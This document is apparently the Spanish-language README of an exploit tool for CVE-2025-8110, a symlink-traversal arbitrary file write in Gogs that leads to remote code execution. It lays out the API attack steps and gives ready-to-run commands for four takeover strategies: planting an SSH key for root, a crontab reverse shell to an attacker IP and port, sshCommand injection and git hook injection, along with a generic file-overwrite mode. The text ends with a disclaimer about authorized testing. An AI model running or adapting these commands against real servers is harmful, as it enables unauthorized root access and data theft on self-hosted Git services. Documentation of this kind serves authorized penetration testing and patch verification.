
Recorrido de enlace simbólico de Gogs → RCE
CVE-2025-8110 es una vulnerabilidad crítica en Gogs (servicio Git autoalojado) versiones <= 0.13.3. La API PutContents valida las rutas de archivo contra el recorrido de directorios (../) pero no resuelve los enlaces simbólicos antes de escribir. Un usuario autenticado puede subir un commit que contenga un enlace simbólico apuntando a cualquier archivo del servidor, y luego llamar a PutContents sobre ese enlace para sobrescribir el archivo real con contenido controlado por el atacante.
Esto es una evasión de la corrección de la anterior CVE-2024-55947, que solo corregía el recorrido de directorios directo, pero no el recorrido basado en enlaces simbólicos.
| Detalle | Valor |
|---|---|
| CVE | CVE-2025-8110 |
| Afectados | Gogs <= 0.13.3 |
| Corregido | Gogs 0.13.4 |
| Tipo | Escritura arbitraria de archivos autenticada → RCE |
| CVSS | 8.8 (Alta) |
| Componente | API PutContents (/api/v1/repos/:owner/:repo/contents/:path) |
requests (pip install requests)gitEste exploit admite 4 estrategias RCE integradas más un modo genérico de escritura de archivos:
# Check if target is vulnerable (no credentials needed)
python3 exploit.py http://target:3000 --check-only
# Strategy A: Plant SSH key for root access
python3 exploit.py http://target:3000 -u user -p pass \
--rce-keys ~/.ssh/id_rsa.pub --cleanup
# Strategy B: Crontab reverse shell
python3 exploit.py http://target:3000 -u user -p pass \
--rce-cron --lhost 10.10.14.5 --lport 4444
# Strategy C: sshCommand injection
python3 exploit.py http://target:3000 -u user -p pass \
--rce-ssh --lhost 10.10.14.5 --lport 4444
# Strategy D: Git hook injection
python3 exploit.py http://target:3000 -u user -p pass \
--rce-hook --lhost 10.10.14.5 --lport 4444
# Generic file write
python3 exploit.py http://target:3000 -u user -p pass \
--write --target-file /tmp/pwned --content "proof-of-concept"
# Write from local file
python3 exploit.py http://target:3000 -u user -p pass \
--write --target-file /root/.ssh/authorized_keys \
--content-file ~/.ssh/id_rsa.pub
POST /api/v1/users/:user/tokens) - Iniciar sesión mediante token de API (Basic Auth)POST /api/v1/user/repos con auto_init: true(POST /api/v1/user/repos (auto_init))PUT /api/v1/repos/:owner/:repo/contents/:link con contenido codificado en base64. Gogs resuelve el enlace simbólico en el disco y escribe en el archivo real (PUT /api/v1/repos/.../contents/linkn_ame)target Gogs base URL (e.g. http://target:3000)
Authentication:
-u, --user Gogs username
-p, --password Gogs password
RCE Strategies:
--rce-keys PUBKEY Plant SSH pubkey → /root/.ssh/authorized_keys
--rce-cron Reverse shell → /etc/crontab
--rce-ssh Poison .git/config sshCommand + trigger
--rce-hook Overwrite pre-receive hook + trigger
--write Generic arbitrary file write
Connection / Payload:
--lhost LHOST Attacker IP for reverse shell
--lport LPORT Attacker port for reverse shell
--target-file PATH Server path to overwrite (--write mode)
--content STRING Content to write
--content-file FILE Local file to write
Options:
--repo NAME Repository name (default: random)
--cleanup Delete exploit repo after completion
-o, --output FILE Report file (default: loot.json)
--timeout SECONDS Request timeout (default: 15)
--proxy URL HTTP proxy for debugging
--check-only Only check if target is Gogs, don't exploit
Esta herramienta se proporciona únicamente para pruebas de seguridad autorizadas y fines educativos. El acceso no autorizado a sistemas informáticos es ilegal. El autor no asume ninguna responsabilidad por el mal uso. Úsela solo en sistemas que posea o para los que tenga permiso explícito por escrito para probar.
| Estrategia | Flag | Archivo objetivo | Activación |
|---|
| A — Claves SSH | --rce-keys | /root/.ssh/authorized_keys | Inicio de sesión SSH |
| B — Crontab | --rce-cron | /etc/crontab | Automática (en 60 s) |
| C — sshCommand | --rce-ssh | .git/config | Operación git por SSH |
| D — Git Hook | --rce-hook | hooks/pre-receive | git push |
| Genérico | --write | Cualquier ruta | Manual |